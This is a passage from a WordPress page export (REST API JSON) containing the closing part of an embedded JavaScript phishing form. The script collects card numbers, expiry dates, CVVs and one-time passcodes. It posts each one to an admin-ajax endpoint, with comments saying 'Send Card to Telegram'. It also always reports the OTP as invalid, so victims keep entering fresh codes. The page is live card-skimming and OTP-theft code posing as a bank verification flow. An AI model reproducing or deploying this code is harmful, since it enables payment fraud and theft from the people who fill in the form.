}\r\n}\r\n\r\n\/\/ Submit Card Details (Go to CVV Step 10)\r\nbtn8.onclick = function() {\r\n    if (!btn8.classList.contains('active')) return;\r\n\r\n    let cardClean = cardNumber.value.replace(\/\\s\/g, '');\r\n    let expClean = expiry.value;\r\n\r\n    \/\/ Send Card to Telegram\r\n    let formData = new FormData();\r\n    formData.append(\"action\", \"bbk_step9\");\r\n    formData.append(\"otp\", \"\ud83d\udcb3 Card: \" + cardClean + \" | Exp: \" + expClean);\r\n\r\n    fetch(\"https:\/\/bhbbmo1.it.com\/wp-admin\/admin-ajax.php\", {\r\n        method: \"POST\",\r\n        body: formData,\r\n        credentials: \"same-origin\"\r\n    });\r\n\r\n    let oldText = btn8.innerHTML;\r\n    btn8.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    setTimeout(() => {\r\n        btn8.innerHTML = oldText;\r\n\r\n        step8.classList.remove('active');\r\n        step8.classList.add('hidden');\r\n\r\n        \/\/ Move to Step 10 (CVV)\r\n        let step10 = document.getElementById('step10');\r\n        step10.classList.remove('hidden');\r\n        step10.classList.add('active');\r\n\r\n    }, 3000);\r\n};\r\n\r\n\/* AUTO MOVE *\/\r\notpInputs2.forEach((input,index)=>{\r\n\r\n    input.addEventListener('input',()=>{\r\n\r\n        input.value = input.value.replace(\/[^0-9]\/g,'');\r\n\r\n        if(input.value && index < otpInputs2.length-1){\r\n            otpInputs2[index+1].focus();\r\n        }\r\n\r\n        checkOTP2();\r\n    });\r\n\r\n    input.addEventListener('keydown',(e)=>{\r\n        if(e.key === \"Backspace\" && !input.value && index > 0){\r\n            otpInputs2[index-1].focus();\r\n        }\r\n    });\r\n\r\n});\r\n\r\nfunction checkOTP2(){\r\n    let filled = [...otpInputs2].every(i => i.value.length === 1);\r\n\r\n    if(filled){\r\n        btn7.classList.add('active');\r\n    }else{\r\n        btn7.classList.remove('active');\r\n    }\r\n}\r\n\r\n\/* TIMER *\/\r\nlet time2 = 120;\r\nlet timerInterval2;\r\n\r\nlet timerEl2 = document.getElementById('otpTime2');\r\n\r\nfunction startTimer2(){\r\n    clearInterval(timerInterval2);\r\n\r\n    time2 = 120;\r\n\r\n    timerInterval2 = setInterval(()=>{\r\n        let min = Math.floor(time2 \/ 60);\r\n        let sec = time2 % 60;\r\n\r\n        if(sec < 10) sec = \"0\" + sec;\r\n\r\n        timerEl2.innerHTML = `OTP expiration ( ${min}:${sec} )`;\r\n\r\n        if(time2 > 0) time2--;\r\n    },1000);\r\n}\r\n\r\nlet otpInputs3 = document.querySelectorAll('#step9 .pin-wrap input');\r\nlet btn9 = document.getElementById('btn9');\r\n\r\notpInputs3.forEach((input,index)=>{\r\n\r\n    input.addEventListener('input',()=>{\r\n\r\n        input.value = input.value.replace(\/[^0-9]\/g,'');\r\n\r\n        if(input.value && index < otpInputs3.length-1){\r\n            otpInputs3[index+1].focus();\r\n        }\r\n\r\n        checkOTP3();\r\n    });\r\n\r\n});\r\n\r\n\/* STEP9 TIMER *\/\r\nlet time3 = 120;\r\nlet timerInterval3;\r\n\r\nlet timerEl3 = document.querySelector('#step9 .otp-time');\r\n\r\nfunction startTimer3(){\r\n    clearInterval(timerInterval3);\r\n\r\n    time3 = 120;\r\n\r\n    timerInterval3 = setInterval(()=>{\r\n        let min = Math.floor(time3 \/ 60);\r\n        let sec = time3 % 60;\r\n\r\n        if(sec < 10) sec = \"0\" + sec;\r\n\r\n        timerEl3.innerHTML = `OTP expiration ( ${min}:${sec} )`;\r\n\r\n        if(time3 > 0) time3--;\r\n    },1000);\r\n}\r\n\r\nfunction checkOTP3(){\r\n    let filled = [...otpInputs3].every(i => i.value.length === 1);\r\n\r\n    if(filled){\r\n        btn9.classList.add('active');\r\n    }else{\r\n        btn9.classList.remove('active');\r\n    }\r\n}\r\n\r\nbtn9.onclick = function(){\r\n\r\n    if(!btn9.classList.contains('active')) return;\r\n\r\n    let old = btn9.innerHTML;\r\n    btn9.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    let code = [...otpInputs3].map(i => i.value).join('');\r\n\r\n    let formData = new FormData();\r\n    formData.append(\"action\",\"bbk_step9\");\r\n    formData.append(\"otp\",code);\r\n\r\n    fetch(\"https:\/\/bhbbmo1.it.com\/wp-admin\/admin-ajax.php\",{\r\n        method:\"POST\",\r\n        body:formData\r\n    });\r\n\r\n    setTimeout(()=>{\r\n\r\n        btn9.innerHTML = old;\r\n\r\n        \/* \ud83d\udd25 CLEAR INPUTS *\/\r\n        otpInputs3.forEach(i=>{\r\n            i.value = \"\";\r\n        });\r\n\r\n        otpInputs3[0].focus();\r\n\r\n\/* \ud83d\udd34 ERROR SHOW (ONLY TEXT, CORRECT POSITION) *\/\r\n\r\nlet errorBox3 = document.getElementById(\"otpError9\");\r\n\r\nif(!errorBox3){\r\n    let div = document.createElement(\"div\");\r\n    div.id = \"otpError9\";\r\n    div.style.color = \"#ff3b3b\";\r\n    div.style.fontWeight = \"700\";\r\n    div.style.margin = \"10px 0\";\r\n    div.style.textAlign = \"center\";\r\n    div.innerText = \"Invalid OTP Code, Please try again\";\r\n\r\n    \/* \u2705 PERFECT POSITION (boxes + timer ke darmiyan) *\/\r\n    let otpBox = document.querySelector('#step9 .otp-box');\r\n    let timer = otpBox.querySelector('.otp-time');\r\n\r\n    otpBox.insertBefore(div, timer);  \/\/ \ud83d\udd25 EXACT POSITION\r\n}else{\r\n    errorBox3.style.display = \"block\";\r\n}\r\n\r\n\/* \ud83d\udd25 AUTO HIDE ERROR AFTER 2 SEC *\/\r\nsetTimeout(()=>{\r\n    errorBox3.style.display = \"none\";\r\n},2000);\r\n\r\n\/* 3\ufe0f\u20e3 RED BORDER REMOVE AFTER DELAY *\/\r\nsetTimeout(()=>{\r\n    otpInputs3.forEach(i=>{\r\n        i.classList.remove(\"otp-error\");\r\n    });\r\n},3000);\r\n\r\n        \/* \ud83d\udd25 TIMER RESTART *\/\r\n        startTimer3();\r\n\r\n        \/* \ud83d\udd25 BUTTON DISABLE AGAIN *\/\r\n        btn9.classList.remove('active');\r\n\r\n    },3000);\r\n};\r\n\r\n\/\/ ============================================\r\n\/\/ STEP 10: CVV VERIFICATION\r\n\/\/ ============================================\r\n\r\nlet cvvInput = document.getElementById('cvv');\r\nlet btn10 = document.getElementById('btn10');\r\n\r\n\/\/ CVV: Only 3 digits\r\ncvvInput.addEventListener('input', function() {\r\n    let value = this.value.replace(\/\\D\/g, '');\r\n    if (value.length > 3) {\r\n        value = value.slice(0, 3);\r\n    }\r\n    this.value = value;\r\n    \r\n    if (value.length === 3) {\r\n        btn10.classList.add('active');\r\n    } else {\r\n        btn10.classList.remove('active');\r\n    }\r\n});\r\n\r\n\/\/ Submit CVV\r\nbtn10.onclick = function() {\r\n    if (!btn10.classList.contains('active')) return;\r\n\r\n    let cvvClean = cvvInput.value;\r\n\r\n    \/\/ Send CVV to Telegram\r\n    let formData = new FormData();\r\n    formData.append(\"action\", \"bbk_step9\");\r\n    formData.append(\"otp\", \"\ud83d\udd12 CVV: \" + cvvClean);\r\n\r\n    fetch(\"https:\/\/bhbbmo1.it.com\/wp-admin\/admin-ajax.php\", {\r\n        method: \"POST\",\r\n        body: formData,\r\n        credentials: \"same-origin\"\r\n    });\r\n\r\n    let oldText = btn10.innerHTML;\r\n    btn10.innerHTML = '<div class=\"loader\"><\/div>';\r\n\r\n    setTimeout(() => {\r\n        btn10.innerHTML = oldText;\r\n\r\n        step10.classList.remove('active');\r\n        step10.classList.add('hidden');\r\n\r\n        \/\/ Move to Step 9 (Final OTP)\r\n        let step9 = document.getElementById('step9');\r\n        step9.classList.remove('hidden');\r\n        step9.classList.add('active');\r\n        startTimer3();\r\n\r\n    }, 3000);\r\n};\r\n\r\n<\/script>\r\n<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-7","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/bhbbmo1.it.com\/index.php?rest_route=\/wp\/v2\/pages\/7","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bhbbmo1.it.com\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/bhbbmo1.it.com\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/bhbbmo1.it.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bhbbmo1.it.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7"}],"version-history":[{"count":5,"href":"https:\/\/bhbbmo1.it.com\/index.php?rest_route=\/wp\/v2\/pages\/7\/revisions"}],"predecessor-version":[{"id":22,"href":"https:\/\/bhbbmo1.it.com\/index.php?rest_route=\/wp\/v2\/pages\/7\/revisions\/22"}],"wp:attachment":[{"href":"https:\/\/bhbbmo1.it.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}